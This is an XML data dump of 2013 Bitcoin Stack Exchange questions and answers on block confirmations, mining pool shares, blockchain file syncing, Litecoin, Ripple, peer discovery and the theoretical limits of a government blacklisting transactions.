  <row Id="11247" PostTypeId="1" AcceptedAnswerId="11250" CreationDate="2013-05-27T02:06:55.443" Score="5" ViewCount="3184" Body="&lt;p&gt;The number of blocks formed is 1 every 10 minutes. As the number of transactions increase, wouldn't the time taken for a transaction to confirm become slower?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking this because this the number of people transacting increases but how fast blocks get generated is constant. Or am I going about it all wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I read, I understand that a block is generated whenever a proof of work is submitted by a miner; this happens when the miner processes a transaction. So in addition to the transaction, he also gets some bitcoins which are once again added to the block chain.&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="2306" LastEditDate="2013-05-27T02:34:05.547" LastActivityDate="2013-05-27T07:59:12.550" Title="Do transactions get slower over time?" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11248" PostTypeId="2" ParentId="11247" CreationDate="2013-05-27T05:26:03.267" Score="2" Body="&lt;p&gt;Miners don't process transactions one at a time, they process blocks which contain many transactions. Currently each block can contain about 2000 transactions, if needed this figure might be increased.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-27T05:26:03.267" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="11249" PostTypeId="1" AcceptedAnswerId="11252" CreationDate="2013-05-27T07:40:07.190" Score="4" ViewCount="475" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Pooled_mining&lt;/a&gt;: &#xA;A share is awarded by the mining pool to the clients who present a valid proof of work of the same type as the proof of work that is used for creating blocks, but of lesser difficulty, so that it requires less time on average to generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how the proof of work with lesser difficulty will help in calculating the proof of work for a new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, why would pools pay for shares? How do they help?&lt;/p&gt;&#xA;" OwnerUserId="5260" LastEditorUserId="5406" LastEditDate="2016-03-02T10:11:10.883" LastActivityDate="2016-03-02T10:11:10.883" Title="How does a share help in the discovery of a new block?" Tags="|mining-pools|block|hash|difficulty|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11250" PostTypeId="2" ParentId="11247" CreationDate="2013-05-27T07:59:12.550" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that a block is generated whenever a proof of work is&#xA;  submitted by a miner; this happens when the miner processes a&#xA;  transaction&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not correct. The miners doesn't submit a found block (proof-of-work) when he processes a transaction. He does when he found a block hash that was valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That can take a long time and in the time he looks for a good block, he will receive probably thousands of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He will verify those as they come in and put them in the block he is currently working on, all of them, one by one (until the limit is reached). When he then finds a valid block hash, he will submit the entire block consisting of all, or most of, the transactions he received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your questions, transactions do not necessarily get slower over time, on the condition that the upper limit of transactions in a block is high enough. If the limit is too low, there can arise a bottleneck for transactions trying to be verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: You can see that all miners have all those transactions in their working block, but only one of them can submit the block. To prevent transactions from occurring twice, once a miner receives a new valid block from a fellow miner, he checks what transactions in his pool are also in that block. He will remove them from his pool and continues mining for the next block with the transactions from his pool that were not in the block of the fellow miner.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-27T07:59:12.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11251" PostTypeId="1" CreationDate="2013-05-27T08:07:32.797" Score="6" ViewCount="4852" Body="&lt;p&gt;I think this used to be the &lt;code&gt;blk0001.dat&lt;/code&gt; file, but it seems that the block chain is now (since version ?) moved to the &lt;code&gt;blocks/&lt;/code&gt; folder, containing a lot of &lt;code&gt;blk*&lt;/code&gt; files, as well as an &lt;code&gt;index&lt;/code&gt; file and multiple &lt;code&gt;rev*&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What files do I have to copy to a new machine if I want it to be synced up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I will have to run with &lt;code&gt;-rescan&lt;/code&gt; the first time after I changed the block chain files. And I know that the blocks are not verified (but they come from another machine I own, so there are no trust issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please mention the current version number in your answer to not confuse people if the file configuration would change over time.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-09-28T09:23:22.800" Title="What files do I need to copy to a new computer to prevent having to sync with the network?" Tags="|blockchain|synchronization|database|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11252" PostTypeId="2" ParentId="11249" CreationDate="2013-05-27T08:56:27.770" Score="5" Body="&lt;p&gt;In order to find a Block, one needs to perform A LOT of tries - about 2^32 * the current difficulty. That number is so huge that solo miners rarely would be able to solve a block. A share on the other hand is a block of difficulty 1, which is at the moment a few million times easier to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding a share does not help in finding a block in any way - each hash is independent of all others. However, a share IS a proof of work done by the miner - they put in the effort to help the pool find the block. Once one miner finds a solution to the block problem, the pool earns money and can pay its miners - logically paying everyone for each share submitted. Those shares did not solve the block, but they were a proof that a miner was trying to solve a block. The more shares, the more work needed to be put.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without shares, everyone would be essentially solo mining - there would be no way to prove that one put in the work, so there would be no reason to be paying the miners - they might be cheating after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A useful analogy would be lottery tickets - it is unlikely you will win, but if you live in a small town and decide to share the potential win with everyone that participates in lottery in proportion to how many tickets they bought, you would essentially have a mining pool. Every ticket, even if it does not win you anything, is worth a slice of the winnings - you had to pay for that ticket, so it's a proof that you put in the effort.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-27T08:56:27.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11253" PostTypeId="2" ParentId="11047" CreationDate="2013-05-27T14:58:25.123" Score="-1" Body="&lt;p&gt;This is how you change the difficulty in Stratum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to mining/subscription.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.connection_ref().rpc('mining.set_difficulty', [16,], is_notification=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.connection_ref().rpc('mining.set_difficulty', [32,], is_notification=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will set the difficulty to 32 - or change to whatever value you want.&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2013-05-27T14:58:25.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11254" PostTypeId="1" AcceptedAnswerId="11267" CreationDate="2013-05-27T17:05:16.900" Score="2" ViewCount="261" Body="&lt;p&gt;I was thinking of a very specific scenario: Suppose we have a new organization, let's call it &quot;WikiLeaks2&quot;, which receives donnations mostly in the form of Bitcoins. Suppose a national government tries to shut it down by disrupting its reception of funds, so they set up a number of miners with the code modified so they check each transaction against a list of black-listed Bitcoin addresses (among them, that of WikiLeaks2) and automatically reject a transaction coming to/from those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume this government has successfully set up moles deep within the organization, so any new reception address is known by its agents after a few minutes. Would they need to control 51% of mining power to make it impossible to send funds to such an organization, or would disruption be possible with a fewer percentage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which begs the question: who validates the acceptance/rejection of a transaction, done by the miners, is correct? I.e. who validates the validators?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-05-30T01:39:10.713" Title="Government disrupting reception of bitcoins. Is it possible?" Tags="|security|attack|government|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11256" PostTypeId="1" CreationDate="2013-05-27T17:53:55.753" Score="10" ViewCount="1980" Body="&lt;p&gt;Can you pay with Litecoin at any place that accepts Bitcoin? If no where can you spend Litecoins?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastActivityDate="2016-06-19T19:28:47.773" Title="Can you pay with Litecoin anywhere you can pay with Bitcoin?" Tags="|transactions|litecoin|spending|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11257" PostTypeId="2" ParentId="11256" CreationDate="2013-05-27T17:57:26.317" Score="6" Body="&lt;p&gt;While the process of spending Litecoins is extremely similar to Bitcoins, it is an alternative currency without a community accepted fixed exchange to Bitcoin therefore the merchant has to accept the work of conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the best of my understanding, Bitpay, bitmit.net and the other major markets and payment portals do not accept Litecoin. I'll refer you to this discussion as it probably is more informed and active than anything you'll get in a stackexchange format &lt;a href=&quot;https://bitcointalk.org/index.php?topic=139940.0&quot;&gt;https://bitcointalk.org/index.php?topic=139940.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-05-27T17:57:26.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11258" PostTypeId="2" ParentId="11254" CreationDate="2013-05-27T19:08:59.227" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Which begs the question: who validates the acceptance/rejection of a&#xA;  transaction, done by the miners, is correct? I.e. who validates the&#xA;  validators?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To the best of my understanding, a miner is like a transaction sponge that absorbs all transactions it can find nearest to it as it searches for a proper hash. I suspect it is possible for a miner to write software to reject transactions to a list of addresses. And then following the logic develop a line of ASICs to gain enough hash power to ensure they process the majority of blocks thus increasing the turn around time for transaction approvals to wikileaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this seems like a good attack vector on paper, wikileaks could implement software to generate a new address for each donation making the blacklist impossible to implement in practice. Also this attack would be extremely easy to discover. &lt;em&gt;To reliably slowdown transactions enough to make it worth their time, the government would have to control far more than 51% of the total hash power.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Corrected by David, 51% would be sufficient &lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-28T14:48:07.100" LastActivityDate="2013-05-28T14:48:07.100" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11260" PostTypeId="1" AcceptedAnswerId="11262" CreationDate="2013-05-27T19:47:27.463" Score="1" ViewCount="8287" Body="&lt;p&gt;If I send bitcoins from my wallet to an address I created in my wallet, will I get more than 1 confirmation eventually?  And do I have to wait for all the block to be downloaded to my wallet so I can get coins sent to me? &lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2013-05-28T17:43:03.777" LastActivityDate="2022-06-28T16:39:56.967" Title="Sending bitcoins to myself" Tags="|receiving|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11261" PostTypeId="2" ParentId="11246" CreationDate="2013-05-27T21:50:30.077" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have 2 BTC in my Bitstamp wallet. I have over 10,000 XRP (no issue&#xA;  with reserve)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this is in your Bitstamp account then you need to &lt;a href=&quot;https://bitstamp.net/account/withdraw/ripple&quot; rel=&quot;nofollow&quot;&gt;withdraw it to Ripple&lt;/a&gt; before you can use it on the Ripple platform (e.g. just as BTC at MtGox can't be used on the BTCE exchange).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have trusted Bitstamp up to $300 in my Ripple client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To get bitcoin from Bitstamp you'll need to trust Bitstamp for &gt;= 2 &lt;strong&gt;BTC&lt;/strong&gt; (if you fail to do this before attempting the Bitstamp withdrawal, Bitstamp will redirect you to the Ripple client page to extend the required trust). No trust is required for USD unless you'll also be dealing in USD with Bitstamp.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've tried to enter an order selling 1 BTC for 8400 XRP.&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Transaction failed!&#xA;    Error: Insufficient balance to fund created offer.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The balance referred to here is your BTC balance within Ripple, which from the sounds of it is zero.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-05-27T21:50:30.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11262" PostTypeId="2" ParentId="11260" CreationDate="2013-05-27T21:54:35.573" Score="2" Body="&lt;p&gt;Yes and yes. Nobody other than you knows that you are sending to yourself since they can't see any connection between two bitcoin addresses. So it will be just like any other transaction. If you want fast confirmation you should include a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you are using bitcoin-qt then it's always downloading blocks automatically. The latest transactions are contained in the latest blocks so it will have to download them before it realises that you have the coins. You don't have to worry about this since it is all automatic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To clarify the second question you can always receive coins no matter what. But to &lt;em&gt;see&lt;/em&gt; the latest receipts in your bitcoin-qt window and to &lt;em&gt;spend&lt;/em&gt; those coins you have to be in sync with the network. &lt;/p&gt;&#xA;" OwnerUserId="5273" LastEditorUserId="5273" LastEditDate="2013-12-04T13:32:32.973" LastActivityDate="2013-12-04T13:32:32.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11263" PostTypeId="2" ParentId="9344" CreationDate="2013-05-27T22:02:57.520" Score="0" Body="&lt;p&gt;SWIFT wire transfers have lots of fees associated with them. Your bank will charge a fee, the recipient's bank will charge a fee and correspondent banks that help route the money will take their cut. You can predict beforehand how much the sending and receiving banks will charge but not how much the correspondent banks will take. So there is no way to say with certainty how much it will cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also with Mt. Gox you have to go through various verification steps. I suggest you read about those first before you wire them any money. You don't want any surprises later on!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to buy locally at localbitcoins.com. I see a lot of Indians selling BTC there. &lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-05-27T22:02:57.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11264" PostTypeId="2" ParentId="11260" CreationDate="2013-05-28T00:11:29.133" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;will I get more than 1 confirmation in time?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do you mean with &quot;in time&quot;? No one knows this is a transaction to yourself, it will be confirmed at the same speed than other transactions. Since you sent the transaction yourself, there is no risk of fraud, so waiting for confirmations for security has no effect.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do I have to wait for all the block to be downloaded to my wallet so I&#xA;  can get coins sent to me?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't really see this question to be related to the previous one. You never need to be synced (all blocks downloaded) to receive coins. However, when you are not synced, you cannot see new transactions being added to your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can give your address to other people for them to send coins to, but you can only see their payments appear when you are synced up. (Or you can enter the address in an online block chain browser like blockexplorer.com or blockchain.info.)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-28T00:11:29.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11266" PostTypeId="2" ParentId="11116" CreationDate="2013-05-28T00:34:52.527" Score="1" Body="&lt;p&gt;I think the best we have as a P2P exchange is &lt;a href=&quot;http://ripple.com&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt;. Citing their website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ripple is a payment system for any currency with support for&#xA;  cross-currency transactions. You can use Ripple to send and receive&#xA;  money in dollars, euros, yen or Bitcoin without having to do extra&#xA;  work for foreign exchange transactions. Now, you can spend and receive&#xA;  your Bitcoin as easily as any fiat currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, Ripple can be used as an exchange for different currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it does not comply with all the requirements you listed. Let me go over them.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Be without any central points of failure, since a government or two WILL be coming after it one day. I suggest a Bitorrent-like software schematic.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple itself has no central point of failure if their intended network topology is followed. However, for exchanging currencies, Ripple still depends on &lt;em&gt;gateways&lt;/em&gt; that do the actual exchange. Still, these gateways need only to be trusted for a limited amount of currency. If you would really want to, you could see them as the trackers in BitTorrent's paradigm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Show everyone a very large number of possible trades to choose from, (thousands?) so assets can form a stable price. (e.g. a Bitcoin is going for $120)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple, all trades happen through gateways. So for every gateway you could have an order book. Probably it's more useful if every gateway just shows its current exchange rate and trade volume. For a more detailed market depth, you will probably be referred to the gateway's website.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Transact trades pretty much INSTANTANEOUSLY, so when you're watching a graph and want to trade at a very specific time you can do so. (This is extremely important for arbitragers and other traders who help keep the price fluctuation down.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, things in Ripple itself are instantaneous. Exchange delays will most probably end up being very gateway-specific.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Offer Graphs and APIs for for graphing like MtGox does.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an interesting one. I don't think Ripple &lt;a href=&quot;https://ripple.com/wiki/RPC_API&quot; rel=&quot;nofollow&quot;&gt;currently supports&lt;/a&gt; exchanges via gateways. But Ripple is really still very immature (the server code isn't even released yet), so it is very much possible that this is coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since most open software tries to make it possible to do the exact same thing via the API as you can do by using the software itself, this will most probably come to the API.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Have three-user (trustless) trading, so a non-interested 3rd party always hosts the trade between the buyer and seller. (And should provide Escrow too!)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple &lt;a href=&quot;https://ripple.com/wiki/Manual_escrow&quot; rel=&quot;nofollow&quot;&gt;plans to support&lt;/a&gt; escrow. Whether that will apply to XRP transactions as well as gateway exchanges is unsure to me.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Hold and transfer IOUs without the need for trust&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the whole thing Ripple is built upon is &lt;em&gt;trust&lt;/em&gt;, I think it just fails this one. It can hold IOU's though, in fact that's basically all it does.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, I know Ripple is not the ideal solution you were looking for. But still, Ripple is very much about exchange of currencies, so maybe some day it will be suitable as a true P2P-like exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, I'm no Ripple expert. Feel free to correct me if I made a mistake!)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-28T00:34:52.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11267" PostTypeId="2" ParentId="11254" CreationDate="2013-05-28T00:43:18.740" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would they need to control 51% of mining power to make it impossible to send funds to such an organization&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have less than half of the mining power:&lt;br&gt;&#xA;You control what transactions go into blocks you mine. You can definitely slow down payments to WikiLeaks2. However, you can't prevent payments from going out forever. Other miners will look at the WikiLeaks2 transactions, see nothing wrong with them, and include them into their blocks. You cannot do a 51% attack because the honest nodes, working together, will simply overpower you.&lt;/li&gt;&#xA;&lt;li&gt;If you have more than half of the mining power: (51%)&lt;br&gt;&#xA;You can now prevent everyone else from getting blocks. This means that you can prevent transactions you don't like from getting confirmations forever.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Which begs the question: who validates the acceptance/rejection of a transaction, done by the miners, is correct? I.e. who validates the validators?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;Certain network rules are never voted about&lt;/a&gt; - For example, transactions must be signed, a block must have a valid timestamp, you can't spend more bitcoins than you have, that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What bitcoin miners do vote about is what should be on this global, shared, ordered list of transactions. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-05-30T01:39:10.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11268" PostTypeId="2" ParentId="3149" CreationDate="2013-05-28T01:03:12.857" Score="1" Body="&lt;p&gt;The easiest way is to simply go to your bank and send money to MtGox via Bank Transfer. MtGox provides you with their Swift code and bank account information, and it's straightforward and easy. Follow MtGox instructions they provide. I've done it multiple times with RBC - you can even do it online, I've done that too, it's called an International Remittance at RBC. (Online transfers are limited to $2500 a day).&lt;/p&gt;&#xA;" OwnerUserId="5054" LastActivityDate="2013-05-28T01:03:12.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11269" PostTypeId="2" ParentId="9729" CreationDate="2013-05-28T01:26:42.487" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at &lt;a href=&quot;http://www.jsonrpc.org/specification&quot; rel=&quot;nofollow&quot;&gt;http://www.jsonrpc.org/specification&lt;/a&gt;: &quot;An identifier established by the Client that MUST contain a String, Number, or NULL value if included. If it is not included it is assumed to be a notification. The value SHOULD normally not be Null [1] and Numbers SHOULD NOT contain fractional parts [2].&quot; To put it simply, it is really just an identifier for a message.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To put it simply, midstate is just the hashing done on the first half. We need the hash done on the whole data, but since the first part of the data doesn't change, we can just calculate it so that we don't have to perform full hashing everytime.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The target specifies the difficulty. Only a hash that is smaller than the target is accepted. In other words, you can also say that the target specifies the number of trailing zeroes required in the hash.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5260" LastActivityDate="2013-05-28T01:26:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11270" PostTypeId="1" AcceptedAnswerId="11272" CreationDate="2013-05-28T04:02:00.807" Score="10" ViewCount="6295" Body="&lt;p&gt;I am researching Bitcoin; what I can't find much information on though is how the P2P network itself operates. For example, BitTorrent uses a DHT protocol that allows for node discovery and calculating distances between nodes etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a Bitcoin client wants to do a transaction, how does it know which IP address to connect to in order to announce it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how does the node that the transaction gets sent to know which other nodes it needs to connect to, and so on?&lt;/p&gt;&#xA;" OwnerUserId="5279" LastEditorUserId="5406" LastEditDate="2017-05-19T18:15:36.607" LastActivityDate="2017-05-19T18:15:36.607" Title="How do Bitcoin nodes know where to send new transactions and blocks to?" Tags="|client|network|relay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11272" PostTypeId="2" ParentId="11270" CreationDate="2013-05-28T06:35:07.217" Score="13" Body="&lt;p&gt;Bitcoin is a so-called gossip network. They announce any new object to all of their peers (just the hash of the data). If the peer doesn't know the object yet, it asks for the full object. So it's certainly not a DHT or any smart organisation of data: every (full) node (eventually) learns about every block and transaction. They have to, there is no other way of validating history otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how the client discovers peers, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3536/how-do-bitcoin-clients-find-each-other&quot;&gt;How do Bitcoin clients find each other?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2017-05-18T17:35:23.773" LastActivityDate="2017-05-18T17:35:23.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11273" PostTypeId="2" ParentId="3536" CreationDate="2013-05-28T06:41:39.417" Score="76" Body="&lt;p&gt;There's &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot;&gt;a couple of methods the client can use&lt;/a&gt;. However, unlike David's very good answer, I'll talk about them in chronological order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The number one way that clients learn about other clients is by connecting to another client and issuing the 'getaddr' command. The standard client has always had that ability. However, there's a problem with this - how do you learn about client #1?&lt;/li&gt;&#xA;&lt;li&gt;IRC seeding. This is something that's been in since the first version too. It was simple to implement, but ultimately didn't scale. The first version connected to freenode. Then, bitcoin nodes &lt;a href=&quot;https://bitcointalk.org/index.php?topic=199.msg1787#msg1787&quot;&gt;started getting k-lined&lt;/a&gt;. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/06c47163962ce418569d9386770001c7a79c026e&quot;&gt;Later versions&lt;/a&gt; connected to lfnet. Then, lfnet went down, and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/c2efd981aa14e94cce4a0a888b6ee1f4e4347924&quot;&gt;IRC support was removed entirely.&lt;/a&gt; DNS was around by this point, so that was fine.&lt;/li&gt;&#xA;&lt;li&gt;IP addresses of well known nodes. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/24ba1b64e93baafba2657ba7d8b63c759c3439ce&quot;&gt;This has been in the client since June 2010.&lt;/a&gt; Still in the Bitcoin client, though the exact IP addresses change every so often.&lt;/li&gt;&#xA;&lt;li&gt;DNS seeding. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/f684aec4f38d6a9e48e870ca5dae6bd65da516cf&quot;&gt;This has been in the client since March 2011.&lt;/a&gt; This is easier to scale, because DNS is already built to handle tens of thousands of connections.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="10572" LastEditDate="2014-05-01T21:27:34.777" LastActivityDate="2014-05-01T21:27:34.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11274" PostTypeId="1" AcceptedAnswerId="11335" CreationDate="2013-05-28T06:48:17.023" Score="3" ViewCount="150" Body="&lt;p&gt;What are the challenges ahead of bitcoin foundation? What are the issues they currently working on? How to track their activities? &lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2022-02-15T12:45:39.043" Title="What are the challenges ahead of bitcoin foundation?" Tags="|bitcoin-foundation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11275" PostTypeId="1" AcceptedAnswerId="11278" CreationDate="2013-05-28T08:48:54.357" Score="3" ViewCount="506" Body="&lt;p&gt;From what I learned, the coinbase field in the block reward transaction can carry any data (&lt;a href=&quot;https://bitcoin.stackexchange.com/a/4991/2324&quot;&gt;As long as smaller than 100b&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why that actually? Was it easier to implement in the beginning? I would just have defined that the coinbase transaction may have no input. I know it is useful now to carry more information (&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0034&quot; rel=&quot;nofollow noreferrer&quot;&gt;see BIP34&lt;/a&gt;). I'm just not sure what was Satoshi's intention here, although he included himself the famous&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Further it seems that this is missing in the transaction db and is &lt;a 